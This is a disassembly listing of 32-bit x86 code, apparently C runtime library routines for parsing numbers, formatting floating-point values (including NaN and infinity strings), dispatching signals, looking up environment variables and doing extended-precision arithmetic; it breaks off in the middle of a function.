lea ecx, [edi-2] ; jumptable 0041B466 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_41B655
cmp bl, 39h
jle short loc_41B699
loc_41B655: ; CODE XREF: sub_41B403+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_41B6D1
dec eax
dec eax
jz short loc_41B6C5
sub eax, 3
jnz loc_41B779
loc_41B66A: ; CODE XREF: sub_41B403+2A4j
push 8
jmp short loc_41B6D3
; ---------------------------------------------------------------------------
loc_41B66E: ; CODE XREF: sub_41B403+63j
; DATA XREF: .nsp0:off_41B8A4o
mov [ebp+var_20], edx ; jumptable 0041B466 case 8
loc_41B671: ; CODE XREF: sub_41B403+276j
cmp bl, 30h
jnz short loc_41B67B
mov bl, [edi]
inc edi
jmp short loc_41B671
; ---------------------------------------------------------------------------
loc_41B67B: ; CODE XREF: sub_41B403+271j
cmp bl, 31h
jl loc_41B776
cmp bl, 39h
jg loc_41B776
jmp short loc_41B699
; ---------------------------------------------------------------------------
loc_41B68F: ; CODE XREF: sub_41B403+63j
; DATA XREF: .nsp0:off_41B8A4o
cmp bl, 31h ; jumptable 0041B466 case 7
jl short loc_41B6A2
cmp bl, 39h
jg short loc_41B6A2
loc_41B699: ; CODE XREF: sub_41B403+250j
; sub_41B403+28Aj
push 9
loc_41B69B: ; CODE XREF: sub_41B403+76j
pop eax
loc_41B69C: ; CODE XREF: sub_41B403+240j
dec edi
jmp loc_41B45A
; ---------------------------------------------------------------------------
loc_41B6A2: ; CODE XREF: sub_41B403+28Fj
; sub_41B403+294j
cmp bl, 30h
jnz short loc_41B6EB
jmp short loc_41B66A
; ---------------------------------------------------------------------------
loc_41B6A9: ; CODE XREF: sub_41B403+63j
; DATA XREF: .nsp0:off_41B8A4o
cmp [ebp+arg_18], 0 ; jumptable 0041B466 case 11
jz short loc_41B6D9
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_41B6D1
dec eax
dec eax
jnz loc_41B779
loc_41B6C5: ; CODE XREF: sub_41B403+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_41B45A
; ---------------------------------------------------------------------------
loc_41B6D1: ; CODE XREF: sub_41B403+258j
; sub_41B403+2B8j
push 7
loc_41B6D3: ; CODE XREF: sub_41B403+85j
; sub_41B403+103j ...
pop eax
jmp loc_41B45A
; ---------------------------------------------------------------------------
loc_41B6D9: ; CODE XREF: sub_41B403+2AAj
push 0Ah
dec edi
pop eax
loc_41B6DD: ; CODE XREF: sub_41B403+5Dj
; sub_41B403+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 0041B466 case 10
jz loc_41B77B
jmp loc_41B45A
; ---------------------------------------------------------------------------
loc_41B6EB: ; CODE XREF: sub_41B403+12Dj
; sub_41B403+238j ...
mov edi, [ebp+arg_8]
jmp loc_41B77B
; ---------------------------------------------------------------------------
loc_41B6F3: ; CODE XREF: sub_41B403+63j
; DATA XREF: .nsp0:off_41B8A4o
mov [ebp+var_20], 1 ; jumptable 0041B466 case 9
xor esi, esi
loc_41B6FC: ; CODE XREF: sub_41B403+339j
cmp dword_4316BC, 1
jle short loc_41B714
movzx eax, bl
push 4
push eax
call sub_414E26
pop ecx
pop ecx
jmp short loc_41B723
; ---------------------------------------------------------------------------
loc_41B714: ; CODE XREF: sub_41B403+300j
mov ecx, off_4314B0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41B723: ; CODE XREF: sub_41B403+30Fj
test eax, eax
jz short loc_41B743
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_41B73E
mov bl, [edi]
inc edi
jmp short loc_41B6FC
; ---------------------------------------------------------------------------
loc_41B73E: ; CODE XREF: sub_41B403+334j
mov esi, 1451h
loc_41B743: ; CODE XREF: sub_41B403+322j
mov [ebp+var_1C], esi
loc_41B746: ; CODE XREF: sub_41B403+371j
cmp dword_4316BC, 1
jle short loc_41B75E
movzx eax, bl
push 4
push eax
call sub_414E26
pop ecx
pop ecx
jmp short loc_41B76D
; ---------------------------------------------------------------------------
loc_41B75E: ; CODE XREF: sub_41B403+34Aj
mov ecx, off_4314B0
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_41B76D: ; CODE XREF: sub_41B403+359j
test eax, eax
jz short loc_41B776
mov bl, [edi]
inc edi
jmp short loc_41B746
; ---------------------------------------------------------------------------
loc_41B776: ; CODE XREF: sub_41B403+99j
; sub_41B403+E4j ...
dec edi
jmp short loc_41B77B
; ---------------------------------------------------------------------------
loc_41B779: ; CODE XREF: sub_41B403+261j
; sub_41B403+2BCj
mov edi, ecx
loc_41B77B: ; CODE XREF: sub_41B403+2DDj
; sub_41B403+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_41B863
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_41B7A7
cmp [ebp+var_45], 5
jl short loc_41B79B
inc [ebp+var_45]
loc_41B79B: ; CODE XREF: sub_41B403+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_41B7AA
; ---------------------------------------------------------------------------
loc_41B7A7: ; CODE XREF: sub_41B403+38Dj
mov eax, [ebp+var_C]
loc_41B7AA: ; CODE XREF: sub_41B403+3A2j
cmp [ebp+var_4], 0
jbe loc_41B859
loc_41B7B4: ; CODE XREF: sub_41B403+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_41B7C2
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_41B7B4
; ---------------------------------------------------------------------------
loc_41B7C2: ; CODE XREF: sub_41B403+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_41B33C
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_41B7E1
neg eax
loc_41B7E1: ; CODE XREF: sub_41B403+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_41B7EC
add eax, [ebp+arg_10]
loc_41B7EC: ; CODE XREF: sub_41B403+3E4j
cmp [ebp+var_24], ecx
jnz short loc_41B7F4
sub eax, [ebp+arg_14]
loc_41B7F4: ; CODE XREF: sub_41B403+3ECj
cmp eax, 1450h
jle short loc_41B82B
mov [ebp+var_2C], 1
loc_41B802: ; CODE XREF: sub_41B403+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_41B80E: ; CODE XREF: sub_41B403+454j
; sub_41B403+45Ej
cmp [ebp+var_2C], 0
jz short loc_41B874
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_41B889
; ---------------------------------------------------------------------------
loc_41B82B: ; CODE XREF: sub_41B403+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_41B83B
mov [ebp+var_30], 1
jmp short loc_41B802
; ---------------------------------------------------------------------------
loc_41B83B: ; CODE XREF: sub_41B403+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_41BFEC
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_41B80E
; ---------------------------------------------------------------------------
loc_41B859: ; CODE XREF: sub_41B403+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_41B80E
; ---------------------------------------------------------------------------
loc_41B863: ; CODE XREF: sub_41B403+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_41B889
; ---------------------------------------------------------------------------
loc_41B874: ; CODE XREF: sub_41B403+40Fj
cmp [ebp+var_30], 0
jz short loc_41B889
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_41B889: ; CODE XREF: sub_41B403+426j
; sub_41B403+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_41B403 endp
; ---------------------------------------------------------------------------
off_41B8A4 dd offset loc_41B46D ; DATA XREF: sub_41B403+63r
dd offset loc_41B4BC ; jump table for switch statement
dd offset loc_41B513
dd offset loc_41B53D
dd offset loc_41B598
dd offset loc_41B60F
dd offset loc_41B645
dd offset loc_41B68F
dd offset loc_41B66E
dd offset loc_41B6F3
dd offset loc_41B6DD
dd offset loc_41B6A9
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B8D4 proc near ; CODE XREF: sub_41A6AC+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_41B936
mov byte ptr [ebx+2], 2Dh
jmp short loc_41B93A
; ---------------------------------------------------------------------------
loc_41B936: ; CODE XREF: sub_41B8D4+5Aj
mov byte ptr [ebx+2], 20h
loc_41B93A: ; CODE XREF: sub_41B8D4+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_41B960
test edi, edi
jnz short loc_41B960
cmp [ebp+arg_0], edi
jnz short loc_41B960
loc_41B94B: ; CODE XREF: sub_41B8D4+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_41BB5E
; ---------------------------------------------------------------------------
loc_41B960: ; CODE XREF: sub_41B8D4+6Cj
; sub_41B8D4+70j ...
cmp dx, si
jnz short loc_41B9DF
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_41B979
cmp [ebp+arg_0], 0
jz short loc_41B988
loc_41B979: ; CODE XREF: sub_41B8D4+9Dj
test edi, 40000000h
jnz short loc_41B988
push offset a1Snan ; "1#SNAN"
jmp short loc_41B9CE
; ---------------------------------------------------------------------------
loc_41B988: ; CODE XREF: sub_41B8D4+A3j
; sub_41B8D4+ABj
test cx, cx
jz short loc_41B9A2
cmp edi, 0C0000000h
jnz short loc_41B9A2
cmp [ebp+arg_0], 0
jnz short loc_41B9C9
push offset a1Ind ; "1#IND"
jmp short loc_41B9B1
; ---------------------------------------------------------------------------
loc_41B9A2: ; CODE XREF: sub_41B8D4+B7j
; sub_41B8D4+BFj
cmp edi, eax
jnz short loc_41B9C9
cmp [ebp+arg_0], 0
jnz short loc_41B9C9
push offset a1Inf ; "1#INF"
loc_41B9B1: ; CODE XREF: sub_41B8D4+CCj
lea eax, [ebx+4]
push eax
call sub_412600
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_41B9C0: ; CODE XREF: sub_41B8D4+109j
and [ebp+var_4], 0
jmp loc_41BB37
; ---------------------------------------------------------------------------
loc_41B9C9: ; CODE XREF: sub_41B8D4+C5j
; sub_41B8D4+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_41B9CE: ; CODE XREF: sub_41B8D4+B2j
lea eax, [ebx+4]
push eax
call sub_412600
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_41B9C0
; ---------------------------------------------------------------------------
loc_41B9DF: ; CODE XREF: sub_41B8D4+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_41BFEC
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_41BA40
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_41BDCC
pop ecx
pop ecx
loc_41BA40: ; CODE XREF: sub_41B8D4+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_41BA5A
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_41BA5D
jmp loc_41B94B
; ---------------------------------------------------------------------------
loc_41BA5A: ; CODE XREF: sub_41B8D4+173j
mov edi, [ebp+arg_C]
loc_41BA5D: ; CODE XREF: sub_41B8D4+17Fj
cmp edi, 15h
jle short loc_41BA65
push 15h
pop edi
loc_41BA65: ; CODE XREF: sub_41B8D4+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_41BA7B: ; CODE XREF: sub_41B8D4+1B4j
lea eax, [ebp+var_10]
push eax
call sub_41B2E1
dec [ebp+arg_14]
pop ecx
jnz short loc_41BA7B
test esi, esi
jge short loc_41BAA5
neg esi
and esi, 0FFh
jle short loc_41BAA5
loc_41BA98: ; CODE XREF: sub_41B8D4+1CFj
lea eax, [ebp+var_10]
push eax
call sub_41B30F
dec esi
pop ecx
jnz short loc_41BA98
loc_41BAA5: ; CODE XREF: sub_41B8D4+1B8j
; sub_41B8D4+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_41BB02
mov [ebp+arg_C], ecx
loc_41BAB5: ; CODE XREF: sub_41B8D4+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_41B2E1
lea eax, [ebp+var_10]
push eax
call sub_41B2E1
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_41B283
lea eax, [ebp+var_10]
push eax
call sub_41B2E1
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_41BAB5
mov eax, [ebp+arg_14]
loc_41BB02: ; CODE XREF: sub_41B8D4+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_41BB3F
loc_41BB0F: ; CODE XREF: sub_41B8D4+248j
cmp eax, ecx
jb short loc_41BB22
cmp byte ptr [eax], 39h
jnz short loc_41BB1E
mov byte ptr [eax], 30h
dec eax
jmp short loc_41BB0F
; ---------------------------------------------------------------------------
loc_41BB1E: ; CODE XREF: sub_41B8D4+242j
cmp eax, ecx
jnb short loc_41BB26
loc_41BB22: ; CODE XREF: sub_41B8D4+23Dj
inc eax
inc word ptr [ebx]
loc_41BB26: ; CODE XREF: sub_41B8D4+24Cj
inc byte ptr [eax]
loc_41BB28: ; CODE XREF: sub_41B8D4+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_41BB37: ; CODE XREF: sub_41B8D4+F0j
mov eax, [ebp+var_4]
loc_41BB3A: ; CODE XREF: sub_41B8D4+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BB3F: ; CODE XREF: sub_41B8D4+239j
; sub_41B8D4+275j
cmp eax, ecx
jb short loc_41BB4F
cmp byte ptr [eax], 30h
jnz short loc_41BB4B
dec eax
jmp short loc_41BB3F
; ---------------------------------------------------------------------------
loc_41BB4B: ; CODE XREF: sub_41B8D4+272j
cmp eax, ecx
jnb short loc_41BB28
loc_41BB4F: ; CODE XREF: sub_41B8D4+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_41BB5E: ; CODE XREF: sub_41B8D4+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_41BB3A
sub_41B8D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BB67 proc near ; CODE XREF: sub_41746C+3420p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_41BBCE
dec eax
dec eax
jz short loc_41BBBF
sub eax, 4
jz short loc_41BBBF
sub eax, 3
jz short loc_41BBBF
sub eax, 4
jz short loc_41BBB2
sub eax, 6
jz short loc_41BBA5
dec eax
jz short loc_41BB98
or eax, 0FFFFFFFFh
jmp loc_41BC90
; ---------------------------------------------------------------------------
loc_41BB98: ; CODE XREF: sub_41BB67+27j
mov esi, dword_462E9C
mov eax, offset dword_462E9C
jmp short loc_41BBD9
; ---------------------------------------------------------------------------
loc_41BBA5: ; CODE XREF: sub_41BB67+24j
mov esi, dword_462E98
mov eax, offset dword_462E98
jmp short loc_41BBD9
; ---------------------------------------------------------------------------
loc_41BBB2: ; CODE XREF: sub_41BB67+1Fj
mov esi, dword_462EA0
mov eax, offset dword_462EA0
jmp short loc_41BBD9
; ---------------------------------------------------------------------------
loc_41BBBF: ; CODE XREF: sub_41BB67+10j
; sub_41BB67+15j ...
push edi
call sub_41BC94
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_41BBD9
; ---------------------------------------------------------------------------
loc_41BBCE: ; CODE XREF: sub_41BB67+Cj
mov esi, dword_462E94
mov eax, offset dword_462E94
loc_41BBD9: ; CODE XREF: sub_41BB67+3Cj
; sub_41BB67+49j ...
cmp esi, 1
jnz short loc_41BBE5
xor eax, eax
jmp loc_41BC90
; ---------------------------------------------------------------------------
loc_41BBE5: ; CODE XREF: sub_41BB67+75j
test esi, esi
jnz short loc_41BBF0
push 3
call sub_413FE8
loc_41BBF0: ; CODE XREF: sub_41BB67+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_41BC02
cmp edi, 0Bh
jz short loc_41BC02
cmp edi, 4
jnz short loc_41BC28
loc_41BC02: ; CODE XREF: sub_41BB67+8Fj
; sub_41BB67+94j
mov ebx, dword_462C74
and dword_462C74, 0
cmp edi, ecx
jnz short loc_41BC57
mov edx, dword_431B0C
mov dword_431B0C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_41BC2B
; ---------------------------------------------------------------------------
loc_41BC28: ; CODE XREF: sub_41BB67+99j
mov ebx, [ebp+arg_0]
loc_41BC2B: ; CODE XREF: sub_41BB67+BFj
cmp edi, ecx
jnz short loc_41BC57
mov eax, dword_431B00
mov ecx, dword_431B04
add ecx, eax
cmp eax, ecx
jge short loc_41BC5E
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:431A90h[edx*4]
loc_41BC4C: ; CODE XREF: sub_41BB67+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_41BC4C
jmp short loc_41BC5E
; ---------------------------------------------------------------------------
loc_41BC57: ; CODE XREF: sub_41BB67+AAj
; sub_41BB67+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_41BC6C
loc_41BC5E: ; CODE XREF: sub_41BB67+D7j
; sub_41BB67+EEj
push dword_431B0C
push 8
call esi ; dword_462E9C
pop ecx
pop ecx
jmp short loc_41BC7A
; ---------------------------------------------------------------------------
loc_41BC6C: ; CODE XREF: sub_41BB67+F5j
push edi
call esi ; dword_462E9C
cmp edi, 0Bh
pop ecx
jz short loc_41BC7A
cmp edi, 4
jnz short loc_41BC8D
loc_41BC7A: ; CODE XREF: sub_41BB67+103j
; sub_41BB67+10Cj
cmp edi, 8
mov dword_462C74, ebx
jnz short loc_41BC8D
mov eax, [ebp+arg_0]
mov dword_431B0C, eax
loc_41BC8D: ; CODE XREF: sub_41BB67+111j
; sub_41BB67+11Cj
xor eax, eax
pop ebx
loc_41BC90: ; CODE XREF: sub_41BB67+2Cj
; sub_41BB67+79j
pop edi
pop esi
pop ebp
retn
sub_41BB67 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41BC94 proc near ; CODE XREF: sub_41BB67+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_431B08
cmp dword_431A8C, edx
push esi
mov eax, offset dword_431A88
jz short loc_41BCC2
lea esi, [ecx+ecx*2]
lea esi, ds:431A88h[esi*4]
loc_41BCB6: ; CODE XREF: sub_41BC94+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_41BCC2
cmp [eax+4], edx
jnz short loc_41BCB6
loc_41BCC2: ; CODE XREF: sub_41BC94+16j
; sub_41BC94+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:431A88h[ecx*4]
cmp eax, ecx
jnb short loc_41BCD6
cmp [eax+4], edx
jz short locret_41BCD8
loc_41BCD6: ; CODE XREF: sub_41BC94+3Bj
xor eax, eax
locret_41BCD8: ; CODE XREF: sub_41BC94+40j
retn
sub_41BC94 endp
; =============== S U B R O U T I N E =======================================
sub_41BCD9 proc near ; CODE XREF: sub_41AA32+23p
arg_0 = dword ptr 4
cmp dword_464228, 0
push ebx
push esi
mov esi, dword_462BEC
push edi
jz short loc_41BD50
test esi, esi
jnz short loc_41BD0A
cmp dword_462BF4, esi
jz short loc_41BD50
call sub_41C0A7
test eax, eax
jnz short loc_41BD50
mov esi, dword_462BEC
test esi, esi
jz short loc_41BD50
loc_41BD0A: ; CODE XREF: sub_41BCD9+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_41BD50
push ebx
call sub_4126F0
pop ecx
mov edi, eax
loc_41BD1B: ; CODE XREF: sub_41BCD9+6Dj
mov eax, [esi]
test eax, eax
jz short loc_41BD50
push eax
call sub_4126F0
cmp eax, edi
pop ecx
jbe short loc_41BD43
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_41BD43
push edi
push ebx
push eax
call sub_41C068
add esp, 0Ch
test eax, eax
jz short loc_41BD48
loc_41BD43: ; CODE XREF: sub_41BCD9+51j
; sub_41BCD9+59j
add esi, 4
jmp short loc_41BD1B
; ---------------------------------------------------------------------------
loc_41BD48: ; CODE XREF: sub_41BCD9+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_41BD52
; ---------------------------------------------------------------------------
loc_41BD50: ; CODE XREF: sub_41BCD9+10j
; sub_41BCD9+1Cj ...
xor eax, eax
loc_41BD52: ; CODE XREF: sub_41BCD9+75j
pop edi
pop esi
pop ebx
retn
sub_41BCD9 endp
; =============== S U B R O U T I N E =======================================
sub_41BD56 proc near ; CODE XREF: sub_41B11C+8Bp
; sub_41B11C+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_463FE0
jnb short loc_41BDBD
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_463EE0[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_41BDBD
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_41BD96
and cl, 7Fh
jmp short loc_41BDA3
; ---------------------------------------------------------------------------
loc_41BD96: ; CODE XREF: sub_41BD56+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_41BDB1
or cl, 80h
loc_41BDA3: ; CODE XREF: sub_41BD56+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BDB1: ; CODE XREF: sub_41BD56+48j
mov dword_462BC4, 16h
jmp short loc_41BDC7
; ---------------------------------------------------------------------------
loc_41BDBD: ; CODE XREF: sub_41BD56+Bj
; sub_41BD56+27j
mov dword_462BC4, 9
loc_41BDC7: ; CODE XREF: sub_41BD56+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_41BD56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BDCC proc near ; CODE XREF: sub_41B8D4+165p
; sub_41BFEC+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_41BFCC
cmp cx, 7FFFh
jnb loc_41BFCC
cmp dx, 0BFFDh
ja loc_41BFCC
cmp dx, 3FBFh
ja short loc_41BE35
xor eax, eax
jmp short loc_41BE6F
; ---------------------------------------------------------------------------
loc_41BE35: ; CODE XREF: sub_41BDCC+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_41BE57
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_41BE57
xor eax, eax
cmp [esi+4], eax
jnz short loc_41BE59
cmp [esi], eax
jnz short loc_41BE59
jmp loc_41BFC6
; ---------------------------------------------------------------------------
loc_41BE57: ; CODE XREF: sub_41BDCC+71j
; sub_41BDCC+79j
xor eax, eax
loc_41BE59: ; CODE XREF: sub_41BDCC+80j
; sub_41BDCC+84j
cmp cx, ax
jnz short loc_41BE7C
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_41BE7C
cmp [ebx+4], eax
jnz short loc_41BE7C
cmp [ebx], eax
jnz short loc_41BE7C
loc_41BE6F: ; CODE XREF: sub_41BDCC+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_41BFE7
; ---------------------------------------------------------------------------
loc_41BE7C: ; CODE XREF: sub_41BDCC+90j
; sub_41BDCC+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_41BE8C: ; CODE XREF: sub_41BDCC+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_41BEE0
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_41BEA8: ; CODE XREF: sub_41BDCC+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_41B262
add esp, 0Ch
test eax, eax
jz short loc_41BED3
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_41BED3: ; CODE XREF: sub_41BDCC+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_41BEA8
loc_41BEE0: ; CODE XREF: sub_41BDCC+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_41BE8C
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_41BF23
loc_41BEFE: ; CODE XREF: sub_41BDCC+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_41BF1C
lea eax, [ebp+var_24]
push eax
call sub_41B2E1
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_41BEFE
loc_41BF1C: ; CODE XREF: sub_41BDCC+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_41BF5C
loc_41BF23: ; CODE XREF: sub_41BDCC+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_41BF5C
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_41BF3C: ; CODE XREF: sub_41BDCC+184j
test byte ptr [ebp+var_24], 1
jz short loc_41BF45
inc [ebp+var_14]
loc_41BF45: ; CODE XREF: sub_41BDCC+174j
lea eax, [ebp+var_24]
push eax
call sub_41B30F
dec ebx
pop ecx
jnz short loc_41BF3C
cmp [ebp+var_14], 0
jz short loc_41BF5C
or byte ptr [ebp+var_24], 1
loc_41BF5C: ; CODE XREF: sub_41BDCC+155j
; sub_41BDCC+163j ...
